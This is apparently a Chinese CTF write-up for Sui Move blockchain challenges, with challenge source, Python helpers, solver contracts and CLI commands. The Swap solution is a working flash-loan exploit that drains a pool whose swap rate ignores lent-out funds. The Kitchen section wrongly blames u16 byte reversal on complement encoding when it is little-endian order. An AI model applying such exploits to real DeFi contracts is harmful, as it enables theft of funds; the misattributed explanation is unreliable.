Checkin

sorce:100

题目源码:

module movectf::checkin {
    use sui::event;
    use sui::tx_context::{Self, TxContext};

    const ESTRING:u64 = 0;

    struct Flag has copy, drop {
        sender: address,
        flag: bool,
    }

    public entry fun get_flag(string: vector<u8>, ctx: &mut TxContext) {
        assert!(string == b"MoveBitCTF",ESTRING);
        event::emit(Flag {
            sender: tx_context::sender(ctx),
            flag: true,
        });
    }
}

带着MoveBitCTF字符串作为参数调用get_flag函数。传参要用字节。

# 转换为十六进制
print("0x")
for i in "MoveBitCTF":
    print(hex(ord(i)).replace("0x",""),end="")

调用即可:

sui client call --package package_id --module module_name --function get_flag --args 0x4d6f7665426974435446 --gas-budget 10000000

DynamicMatrixTraversal

sorce: 200

关键代码

    public entry fun execute(record: &mut Record, m: u64, n: u64) {
        if (record.count_1 == 0) {
            let result: u64 = up(m, n);
            assert!(result == TARGET_VALUE_1, ERROR_RESULT_1);
            record.count_1 = m;
            record.count_2 = n;
        } else if (record.count_3 == 0) {
            let result: u64 = up(m, n);
            assert!(result == TARGET_VALUE_2, ERROR_RESULT_2);
            record.count_3 = m;
            record.count_4 = n;
        }
    }

    public entry fun get_flag(record: &Record, ctx: &mut TxContext) {
        assert!(record.count_1 < record.count_3, ERROR_PARAM_1);
        assert!(record.count_2 > record.count_4, ERROR_PARAM_2);
        event::emit(Flag { user: tx_context::sender(ctx), flag: true });
    }

得到flag的条件是count_1 < count_3且count_2 > count_4。

up函数使用动态规划根据输入参数m和n计算一个值。它使用一个向量的向量构建一个值的矩阵,并从矩阵的最后一行的最后一个元素中检索所需的值。

让ai将up函数用python重写然后本地跑一下的到两组数据,3-169和5-89。 通过execute函数去赋值(数字m和n传递时要转换成十六进制)。然后调用get_flag即可。

Swap

sorce: 200

题目源码:

module swap::vault{
    use sui::coin::{Self, Coin};
    use sui::tx_context::{Self, TxContext};
    use sui::balance::{Self, Balance};
    use sui::object::{Self, ID, UID};
    use sui::transfer;
    use sui::event;
    use swap::ctfa::{Self, MintA};
    use swap::ctfb::{Self, MintB};

    struct Vault<phantom A, phantom B> has key {
        id: UID,
        coin_a: Balance<A>,
        coin_b: Balance<B>,
        flashed: bool
    }

    struct Flag has copy, drop {
        win: bool,
        sender: address
    }

    struct Receipt {
        id: ID,
        a_to_b: bool,
        repay_amount: u64
    }

    public entry fun initialize<A,B>(capa: MintA<A>, capb: MintB<B>,ctx: &mut TxContext) {
        let vault = Vault<A, B> {
            id: object::new(ctx),
            coin_a: coin::into_balance(ctfa::mint_for_vault(capa, ctx)),
            coin_b: coin::into_balance(ctfb::mint_for_vault(capb, ctx)),
            flashed: false
        };
        transfer::share_object(vault);
    }

    public fun flash<A,B>(vault: &mut Vault<A,B>, amount: u64, a_to_b: bool, ctx: &mut TxContext): (Coin<A>, Coin<B>, Receipt) {
        assert!(!vault.flashed, 1);
        let (coin_a, coin_b) = if (a_to_b) {
        (coin::zero<A>(ctx), coin::from_balance(balance::split(&mut vault.coin_b, amount ), ctx))
        }
        else {
        (coin::from_balance(balance::split(&mut vault.coin_a, amount ), ctx), coin::zero<B>(ctx))
        };

        let receipt = Receipt {
            id: object::id(vault),
            a_to_b,
            repay_amount: amount
        };
        vault.flashed = true;

        (coin_a, coin_b, receipt)

    }

    public fun repay_flash<A,B>(vault: &mut Vault<A,B>, coina: Coin<A>, coinb: Coin<B>, receipt: Receipt) {
        let Receipt {
            id: _,
            a_to_b: a2b,
            repay_amount: amount
        } = receipt;
        if (a2b) {
            assert!(coin::value(&coinb) >= amount, 0);
        } else {
            assert!(coin::value(&coina) >= amount, 1);
        };
        balance::join(&mut vault.coin_a, coin::into_balance(coina));
        balance::join(&mut vault.coin_b, coin::into_balance(coinb));
        vault.flashed = false;
    }

    public fun swap_a_to_b<A,B>(vault: &mut Vault<A,B>, coina:Coin<A>, ctx: &mut TxContext): Coin<B> {
            let amount_out_B = coin::value(&coina) * balance::value(&vault.coin_b) / balance::value(&vault.coin_a);
            coin::put<A>(&mut vault.coin_a, coina);
            coin::take(&mut vault.coin_b, amount_out_B, ctx)
    }

    public fun swap_b_to_a<A,B>(vault: &mut Vault<A,B>, coinb:Coin<B>, ctx: &mut TxContext): Coin<A> {
            let amount_out_A = coin::value(&coinb) * balance::value(&vault.coin_a) / balance::value(&vault.coin_b);
            coin::put<B>(&mut vault.coin_b, coinb);
            coin::take(&mut vault.coin_a, amount_out_A, ctx)
    }

    public fun get_flag<A,B>(vault: &Vault<A,B>, ctx: &TxContext) {
        assert!(
            balance::value(&vault.coin_a) == 0 && balance::value(&vault.coin_b) == 0, 123
        );
        event::emit(
            Flag {
                win: true,
                sender: tx_context::sender(ctx)
            }
        );
    }
}

ctfa和ctfb中定义了两种货币,不是重点,就不放源码了。

提供了闪电贷和两种货币相互兑换的功能。

介绍一下闪电贷

源码中Receipt作为欠条,在用户贷款时发送给用户,由于其没有drop能力,所以交易结束之前如果没有被解包就会报错导致交易失败。
repay_flash函数可以解包receipt。这就意味着贷款的借出和归还只能在一笔交易中进行,就是让你借出去拿这些钱去套利,然后马上还回来,如果不换或者换的不够交易就失败,这笔交易就不会写入链上。

题解

由于定义了vault.flashed变量,所以我们只能一次借一种货币且在未还清之前不能再借,所以我们要先将vault中某一种货币清空,再把另一种货币借空,然后调用get_flag,然后再还钱就可以了。

swap_a_to_b和swap_b_to_a可以将两种货币相互兑换,兑换时按照比例进行兑换,但问题在于,兑换的比率没有考虑贷款。以swap_a_to_b为例:

    public fun swap_a_to_b<A,B>(vault: &mut Vault<A,B>, coina:Coin<A>, ctx: &mut TxContext): Coin<B> {
            // 传参vault为银行,coina为我们的A货币
            let amount_out_B = coin::value(&coina) * balance::value(&vault.coin_b) / balance::value(&vault.coin_a);
            // 计算出可以兑换的B的数量,这里只考虑了vault内的余量,没有加上我们已经贷出去的。
            coin::put<A>(&mut vault.coin_a, coina);
            coin::take(&mut vault.coin_b, amount_out_B, ctx)
    }

vault中初始有A,B各100个,攻击者初始拥有A,B各10个。

  1. 我先借90个A
  2. 在用10个A去换B,此时vault中 B/A = 10 ,所以10个A可以还100个B。
  3. 在把90个A还回去。 通过这三步操作,我们手上拥有110个B(10个本来拥有+vault中的100个)和0个A(10A换成了B)。而且此时所有的欠款均已还清。
    最后在把vault中的110个A借出来就可以了。

攻击合约:

module zoiltin_solve_swap::exp{

    use sui::coin::{Self,Coin};
    use sui::tx_context::{Self,TxContext};
    use sui::transfer;
    use sui::balance::{Self};
    use swap::vault::{Self,Receipt};

    public entry fun exp<A,B>(bank: &mut vault::Vault<A,B>,my_coin_a: Coin<A>,ctx: &mut TxContext){
        // 传参带进来vault和我们初始的10个A
        let (coin_a_1,coin_b_1,receipt_1) = vault::flash<A,B>(bank,90,false,ctx);
        // 借90个A
        let coin_b_swap = vault::swap_a_to_b<A,B>(bank,my_coin_a,ctx);
        // 10A个换成B
        assert!(coin::value(&coin_b_swap) == 100, 12);  // 换出来的B的数量是否等于100
        transfer::public_transfer(coin_b_swap,tx_context::sender(ctx));
        // 将100个B传递到我们的地址上
        vault::repay_flash<A,B>(bank,coin_a_1,coin_b_1,receipt_1);
        // 还债90个A
        let (coin_a_2,coin_b_2,receipt_2) = vault::flash<A,B>(bank,110,false,ctx);
        // 再借110个A
        assert!(coin::value(&coin_a_2) == 110, 11);    // 第二次借出来A的数量是否等于110
        vault::get_flag<A,B>(bank,ctx);
        // 拿flag
        vault::repay_flash<A,B>(bank,coin_a_2,coin_b_2,receipt_2);
        // 还钱110A
    }
}

部署攻击合约

这部分也该提一下,网上的资料基本都是英文的。

#首先创建一个新的包
sui move new zoiltin_solve_swap
#文件结构如下:
#zoiltin_solve_swap/
#|                /sources/
#|                |        exp.move
#|                /Move.toml

Move.toml内容如下:

[package]
name = "zoiltin_solve_swap"
version = "0.0.1"

[dependencies]
Sui = { git = "https://github.com/MystenLabs/sui.git", subdir = "crates/sui-framework/packages/sui-framework", rev = "framework/testnet" }
# Sui = { local =  "/opt/sui/crates/sui-framework/packages/sui-framework" }
swap = { local = "../swap" }

[addresses]
zoiltin_solve_swap = "0x0"
swap = "package_id"
sui = "0x2"

addresses里面:0x0代表此包尚未发布,意思就是这次要发布的包。如果已经发布了就像题目中的swap包就写这个包的package_id以及在published-at里写上package_id

dependencies放源代码路径。

swap源码里的Move.toml文件也要改:

[package]
name = "swap"
version = "0.0.1"
published-at = "package_id"

[dependencies]
Sui = { git = "https://github.com/MystenLabs/sui.git", subdir = "crates/sui-framework/packages/sui-framework", rev = "framework/testnet" }
# Sui = { local =  "/opt/sui/crates/sui-framework/packages/sui-framework" }

[addresses]
swap = "package_id"

在攻击合约目录下执行以下代码来发布包

sui client publish --with-unpublished-dependencies --skip-dependency-verification --gas-budget 1000000000

可以查看CTFA和CTFB两个泛型的地址。 CTFA和CTFB为题目定义的两种币,–type-args要传入CTFA和CTFB作为泛型。

先调用vault里的initiate函数来初始化A,B个10个币。

然后调用攻击合约中的exp函数.sui client call --package <攻击合约的package_id> --module exp --function exp --type-args <<CTFA的详细地址>,<CTFB的详细地址>> --args <那两个参数> --gas-budget 10000000

EasyGame

源码:

    public fun submit_solution(user_input: vector<u64>,rc: &mut Challenge,ctx: &mut TxContext ){
        let sender = sui::tx_context::sender(ctx);
       
        let houses = rc.initial_part;
        vector::append(&mut houses, user_input);

        let amount_robbed = rob(&houses);

        let result = amount_robbed == rc.target_amount;
        if  (result) {
            event::emit(Flag { user: sender, flag: true });
        };
    }
    public fun rob(houses: &vector<u64>):u64{
        let n = vector::length(houses);
        if (n ==0){
            0;
        };
        let v = vector::empty<u64>();
        vector::push_back(&mut v, *vector::borrow(houses, 0));
        if (n>1){
            vector::push_back(&mut v, math::max(*vector::borrow(houses, 0), *vector::borrow(houses, 1)));
        };
        let i = 2;
        while (i < n) {
            let dp_i_1 = *vector::borrow(&v, i - 1);
            let dp_i_2_plus_house = *vector::borrow(&v, i - 2) + *vector::borrow(houses, i);
            vector::push_back(&mut v, math::max(dp_i_1, dp_i_2_plus_house));
            i = i + 1;
        }
        ;
        *vector::borrow(&v, n - 1)
    }

house初始值为[1,2,4,5,1,3,6,7],需要我们在house后追加一些数据是rob函数返回22。
rob函数是用动态规划计算在不抢劫相邻房屋的情况下如何利益最大,发现添加一个数字9就可以。

攻击合约

module zoiltin_solve_easy_game::exp{
    use std::vector;
    use sui::tx_context::TxContext;
    use easygame::easy_game::{Self,Challenge};

    public entry fun exp(rc: &mut Challenge,ctx: &mut TxContext){
        let payload = vector::empty<u64>();
        vector::push_back(&mut payload,9);
        easy_game::submit_solution(payload,rc,ctx);
    }
}

Kitchen

sorce: 200

题目关键源码:

    public fun cook(olive_oils: vector<Olive_oil>, yeast: vector<Yeast>, flour: vector<Flour>, salt: vector<Salt>, status: &mut Status) {
        let l1 = vector::length<Olive_oil>(&olive_oils);
        let l2 = vector::length<Yeast>(&yeast);
        let l3 = vector::length<Flour>(&flour);
        let l4 = vector::length<Salt>(&salt);

        let cook1 = Cook {source : vector::empty<Olive_oil>()};
        let cook2 = Cook {source : vector::empty<Yeast>()};
        let cook3 = Cook {source : vector::empty<Flour>()};
        let cook4 = Cook {source : vector::empty<Salt>()};

        let i = 0;
        while(i < l1) {
            vector::push_back(&mut cook1.source, *vector::borrow(&olive_oils, i));
            i = i + 1;
        };
        i = 0;
        while(i < l2) {
            vector::push_back(&mut cook2.source, *vector::borrow(&yeast, i));
            i = i + 1;
        };
        i = 0;
        while(i < l3) {
            vector::push_back(&mut cook3.source, *vector::borrow(&flour, i));
            i = i + 1;
        };
        i = 0;
        while(i < l4) {
            vector::push_back(&mut cook4.source, *vector::borrow(&salt, i));
            i = i + 1;
        };

        let p = Pizza {
            olive_oils: cook1,
            yeast: cook2,
            flour: cook3,
            salt: cook4,
        };
        assert!( bcs::to_bytes(&p) == x"0415a5b8a6f8c946bb0300bd9d997eb7038ad784faf2b802c5f122e1", 0);
        status.status1 = true;
    }

    public fun recook (out: vector<u8>, status: &mut Status) {
        let p = Pizza {
            olive_oils: Cook<Olive_oil> {
                source: vector<Olive_oil>[
                    get_Olive_oil(0xb9d9),
                    get_Olive_oil(0xeb54),
                    get_Olive_oil(0x9268),
                    get_Olive_oil(0xc5f7),
                    get_Olive_oil(0xa1ec),
                    get_Olive_oil(0xd084),
                ]
            },
            yeast: Cook<Yeast> {
                source: vector<Yeast>[
                    get_Yeast(0xbd00),
                    get_Yeast(0xfc81),
                    get_Yeast(0x999d),
                    get_Yeast(0xb77e),
                ]
            },
            flour: Cook<Flour> {
                source: vector<Flour>[
                    get_Flour(0xdcc7),
                    get_Flour(0xcc7a),
                    get_Flour(0x8f19),
                    get_Flour(0x96b1),
                    get_Flour(0x8a6d),
                ]
            },
            salt: Cook<Salt> {
                source: vector<Salt>[
                    get_Salt(0x8b01),
                    get_Salt(0xf1c5),
                    get_Salt(0xc6ec),
                ]
            },
        };

        assert!( bcs::to_bytes(&p) == out, 0);
        status.status2 = true;

    }

需要让这两个函数返回true。涉及到序列化。

先看cook函数

cook函数要我们传入一个配方对象,然后比较序列化后是否与x"0415a5b8a6f8c946bb0300bd9d997eb7038ad784faf2b802c5f122e1"相等。

Binary Canonical Serialization, BCS, 是在 Diem 区块链项目中开发出来的序列化格式,现在也被广泛应用于大部分基于 Move 的区块链,比如Sui, Starcoin, Aptos, 0L. 除了在 Move VM 虚拟机中使用,BCS也被用在交易 transaction 和事件 event 编码中,比如在签署交易之前做序列化处理,解析事件数据。 相关资料:https://intro-zh.sui-book.com/advanced-topics/BCS_encoding/lessons/BCS_%E7%BC%96%E7%A0%81.html

查阅资料得知:

  • BCS是一种数据序列化格式,其生成的输出字节不包含任何类型信息。因此,接收编码字节的一方需要知道如何反序列化数据

  • BCS 中没有数据类型,当然也没有结构体 structs; struct 只是定义了内部字段 fields 被序列化的顺序

感觉这个c语言中的序列化比较相似,c语言中的将结构体从内存中写入二进制文件时就是直接原封不动把内存写入文件。而数据格式全靠程序员自定义。

看下面这个例子便于理解:

struct Metadata has drop, copy {
    name: std::ascii::String
}

struct BCSObject has drop, copy {
    id: ID,
    owner: address,
    meta: Metadata
}

let (id, owner, meta) = (
    bcs::peel_address(&mut bcs), bcs::peel_address(&mut bcs), bcs::peel_vec_u8(&mut bcs)
);

反序列化meta时使用的格式是vector<u8>(8位整数数组,就是std::ascii::String的格式),也就是说序列化时直接忽略了Metadata结构体,直接把对象从内存中转储成字节。

然后再看题目中的结构,以Olive_oil为例,其他四种食材都一样:

struct Olive_oil has copy, drop, store {amount: u16}

struct Pizza has copy, drop, store {
    olive_oils: Cook<Olive_oil>,
    yeast: Cook<Yeast>,
    flour: Cook<Flour>,
    salt: Cook<Salt>,
}

struct Cook<T> has copy, drop, store {
    source: vector<T>
}

Pizza中的olive_oils实际上是一个16位整数的数组,外面套了两层结构体。由于bcs的序列化格式,Pizza的序列化数据为:

数组长度 数据 数组长度 数据 ….
0x4 0x1 0x2 0x3 0x4 0x3 0x1 0x2 0x3 ….

使用以下python脚本解析:

data = '0415a5b8a6f8c946bb0300bd9d997eb7038ad784faf2b802c5f122e1'
i = 0
bytes_s = []
while i < len(data) - 1:
    bytes_s.append(int('0x' + data[i] + data[i+1],16))
    i = i+ 2

res = []
i = 0
p = 0
while i < len(bytes_s):
    p = bytes_s[i]
    i = i + 1
    l = []
    for o in range(p):
        l.append('0x' + hex(bytes_s[i+1]).replace("0x","") + hex(bytes_s[i]).replace("0x",""))
        i = i + 2
    res.append(l)

print(res)

可能是因为反码补码那一套东西,我发现2字节的数字(16位)需要倒换一下才行。
通过得到的数据生成对象即可。

recook函数:

recook函数就简单许多了。 已经把数据都写出来了,直接生成序列化数据传参即可。

攻击合约

module zoiltin_solve_kitchen::exp{
    use sui::tx_context::{TxContext};
    use sui::bcs;
    use sui::event;
    use std::vector;
    use kitchen::kitchen::{Self,Olive_oil,Yeast,Flour,Salt};

    struct Poil has drop{
        p1:vector<u16>,
        p2:vector<u16>,
        p3:vector<u16>,
        p4:vector<u16>
    }

    struct Message has drop,copy{
        mass:vector<u8>
    }

    public entry fun exp(ctx: &mut TxContext) {
        let obj1 = Poil{
            p1:vector<u16>[0xa515,0xa6b8,0xc9f8,0xbb46],
            p2:vector<u16>[0xbd00,0x999d,0xb77e],
            p3:vector<u16>[0xd78a,0xfa84,0xb8f2],
            p4:vector<u16>[0xf1c5,0xe122]
        };
        // cook需要的相应数据。

        let statu = kitchen::get_status(ctx);
        let l1 = 4;
        let l2 = 3;
        let l3 = 3;
        let l4 = 2;

        let cook1 = vector::empty<Olive_oil>();
        let cook2 = vector::empty<Yeast>();
        let cook3 = vector::empty<Flour>();
        let cook4 = vector::empty<Salt>();

        // 通过数据生成所需的对象。
        let i = 0;
        while(i < l1) {
            vector::push_back(&mut cook1, kitchen::get_Olive_oil((*vector::borrow(&obj1.p1, i) as u16)));
            i = i + 1;
        };
        i = 0;
        while(i < l2) {
            vector::push_back(&mut cook2, kitchen::get_Yeast((*vector::borrow(&obj1.p2, i) as u16)));
            i = i + 1;
        };
        i = 0;
        while(i < l3) {
            vector::push_back(&mut cook3, kitchen::get_Flour((*vector::borrow(&obj1.p3, i) as u16)));
            i = i + 1;
        };
        i = 0;
        while(i < l4) {
            vector::push_back(&mut cook4, kitchen::get_Salt((*vector::borrow(&obj1.p4, i) as u16)));
            i = i + 1;
        };

        // event::emit( Message{
        //     mass: bcs::to_bytes(&obj1)
        // } );

        // assert!( bcs::to_bytes(&obj1) == x"04a515a6b8c9f8bb4603bd00999db77e03d78afa84b8f202f1c5e122", 999);

        kitchen::cook(cook1,cook2,cook3,cook4,&mut statu);
        
        let obj2 = Poil{
            p1:vector<u16>[
                0xb9d9,
                0xeb54,
                0x9268,
                0xc5f7,
                0xa1ec,
                0xd084
            ],
            p2:vector<u16>[
                0xbd00,
                0xfc81,
                0x999d,
                0xb77e
            ],
            p3:vector<u16>[
                0xdcc7,
                0xcc7a,
                0x8f19,
                0x96b1,
                0x8a6d
            ],
            p4:vector<u16>[
                0x8b01,
                0xf1c5,
                0xc6ec
            ]
        };
        // 这里通过自定义的Poil结构生成序列化字节,因为bcs特点,只要他们在内存中存储格式一样,无论结构体名或嵌套了几层都无所谓。最后生成的序列化字节都是一样的。

        kitchen::recook(bcs::to_bytes(&obj2),&mut statu);

        kitchen::get_flag(&statu,ctx);
    }
}

网上关于bcs的资料很少,搜到的bcs的第三方解析库也都不能成功解析,不过还好题目的数据不算复杂,自己写的脚本也能用。

subset

sorce: 400 (未解决)

题目源码:

module subset::subset_sum {
    use sui::event;
    use sui::tx_context;
    use std::vector;

    struct Flag has copy, drop {
        user: address
    }

    struct Status has store, drop {
        status1: bool,
        status2: bool,
        status3: bool,
        user: address
    }

    const SUBSET1: vector<u256> = vector<u256>[1, 2, 3, 4, 5];
    const SUBSET1_k: u256 = 3;
    const SUBSET1_SUM: u256 = 10;

    const SUBSET2: vector<u256> = vector<u256>[657114161599166, 910496114410022, 688072175280628, 979125688929861, 785338725553848, 887159728265050, 622841641193103, 725154659875148, 740423950361799, 1112663190822550, 922195312967936, 1042436852643560, 794233930466363, 1005209504277475, 1095553790921575, 1100234031975913, 1097338706315892, 685173186787942, 931084447948631, 1025208692464347, 823246835986875, 640705587553065, 1067772094848338, 608307547370178, 860527574463312, 745522896700102, 1107646656429468, 575719789023353, 1008988042757401, 563072788255737, 882855688862943, 974319745991702, 1004427379286462, 904504413493231, 1083652042079152, 1053694822809090, 702717128907262, 881540236795119, 992204188883575, 890965906483327];
    const SUBSET2_k: u256 = 5;
    const SUBSET2_SUM: u256 = 4178919802453692;

    const SUBSET3: vector<u256> = vector<u256>[730983191275949878802706287425, 738747747182330870358722868390, 680758618870742741205069880873, 736839950200009681117675478653, 821817898783913524938769447793, 1062662929594640521216588473346, 804078432654564652353003934418, 987354119502628442223858924307, 974121064863569224403070119631, 766517359152261667697388282513, 1115664590742545309936719501477, 1254953696369781959586392455121, 708965201854329468418120106125, 803407590419087414384275360152, 680994772249007776444211943134, 1209641410992728376967530103489, 1022807828605992586908433214193, 708760513774702586605766399361, 1146510154260900723919247238072, 1071639493717448858831225830703, 704595551001390485227577881300, 666267842956106233584633761922, 916484600070887410197321230180, 869547011380359879465486127051, 1146284238922586539801525899580, 960791406315307372223215677265, 846714517434965788941098273736, 943109174072029103168835446476, 1186748483275224241752870865835, 810729587696497173434925395865, 1081140748486010470135469081647, 1117896979087650487375387404086, 815335940196924955981808193550, 980088874723074134145795909695, 1040350471929604504671667297293, 694306413856033832104987821225, 1100701148915109260220219397362, 861206885233154419043148976517, 876554683816312162465230697586, 1076923686440478606439365136720, 1107602068170190810465822909560, 1100902219684950305811682891430, 1009332208289062882998661101012, 967609782575367058780528699819, 847083579140405861838133952519, 960959937086001625649028920079, 705904760596273528708773247739, 988488072940508411593301577206, 855813607361058850034718734435, 923433147009426548286155351544, 927267999331166226154541562801, 833421857490492247367663980146, 913726313126985248790906682414, 1152739002690744639089937932044, 758241923243582267541395815418, 826183630101084916296521382931, 871183653161711616458012031543, 1118876419859306653014740242503, 925209067093127804911661688602, 796047972746266882548343051358, 1105317347573296959936900839504, 1032520332923337088078820581073, 790503191621237284611596729403, 1093888060891270134787133219999, 1129244151204837429536515955111, 736340764546413369555890340882, 844331877762673816004189096610, 1216403448409604941009786692773, 1026707098397380044704009977063, 1162146257113640418035057534747, 1239108677717284719224289951413, 1179642728157883101738427519029, 1121726694197132350252978011382, 1166236995314127503915531123371, 1237380820841327126465021125310, 928563984604088646801945637827, 969172329973162874760566309613, 916791337778690807774047076043, 1187392146940862931565053344747, 1041354841046252194695344517944];
    const SUBSET3_k: u256 = 10;
    const SUBSET3_SUM: u256 = 9639405868465735216305592265916;

    
    public fun get_status(ctx: &mut tx_context::TxContext): Status {
        Status {
            status1: false,
            status2: false,
            status3: false,
            user: tx_context::sender(ctx)
        }
    }

    public fun check_params(vec: vector<u256>, k: u256) {
        let i = 0;
        let sum: u256 = 0;
        while(i < vector::length(&vec)) {
            assert!(*vector::borrow(&vec, i) == 1 || *vector::borrow(&vec, i) == 0, 0);
            sum = sum + *vector::borrow(&vec, i);
            i = i + 1;
        };
        assert!(sum == k, 0);
    }


    public fun solve_subset1(vec: vector<u256>, status: &mut Status) {
        let i = 0;
        let sum: u256 = 0;
        while(i < vector::length(&SUBSET1)) {
            sum = sum + (*vector::borrow(&vec, i) * *vector::borrow(&SUBSET1, i));
            i = i + 1;
        };
        assert!(SUBSET1_SUM == sum, 0);
        check_params(vec, SUBSET1_k);
        status.status1 = true;
    }

    public fun solve_subset2(vec: vector<u256>, status: &mut Status) {
        let i = 0;
        let sum: u256 = 0;
        while(i < vector::length(&SUBSET2)) {
            sum = sum + (*vector::borrow(&vec, i) * *vector::borrow(&SUBSET2, i));
            i = i + 1;

        };
        assert!(SUBSET2_SUM == sum, 0);
        check_params(vec, SUBSET2_k);
        status.status2 = true;
    }

    public fun solve_subset3(vec: vector<u256>, status: &mut Status) {
        let i = 0;
        let sum: u256 = 0;
        while(i < vector::length(&SUBSET3)) {
            sum = sum + (*vector::borrow(&vec, i) * *vector::borrow(&SUBSET3, i));
            i = i + 1;

        };
        assert!(SUBSET3_SUM == sum, 0);
        check_params(vec, SUBSET3_k);
        status.status3 = true;
    }
    

    public fun get_flag(status: &Status, ctx: &mut tx_context::TxContext) {
        let user = tx_context::sender(ctx);
        assert!(status.user == user, 0);
        assert!(status.status1 && status.status2 && status.status3, 0);
        event::emit(Flag { user: user });
    }

}

从subset中找到一个长度为subset_k的子集,其元素之和等于subset_sum。
有三个子问题:solve_subset1,solve_subset2和solve_subset3。
请教re大佬后拿到的脚本:

def find_subset_sum(subset, subset_k, subset_sum):
    # 导入必要的库
    from itertools import combinations

    # 遍历subset中所有可能的k元组合
    for combination in combinations(subset, subset_k):
        # 如果组合的元素之和等于subset_sum,则返回组合
        if sum(combination) == subset_sum:
            return combination

    # 如果找不到满足条件的组合,则返回None
    return None


# 定义输入
subset = [1,2,3,4,5]
subset_k = 3
subset_sum = 10

# 调用函数查找满足条件的组合
result = find_subset_sum(subset, subset_k, subset_sum)

# 打印结果
if result:
    print("找到满足条件的组合:")
    print(result)
else:
    print("找不到满足条件的组合")

第一组:(1, 4, 5)
第二组:(725154659875148, 685173186787942, 1025208692464347, 860527574463312, 882855688862943)
第三组跑不出来啦~~~~~~~~~~~

参考

https://intro-zh.sui-book.com/
https://docs.sui.io/concepts/sui-move-concepts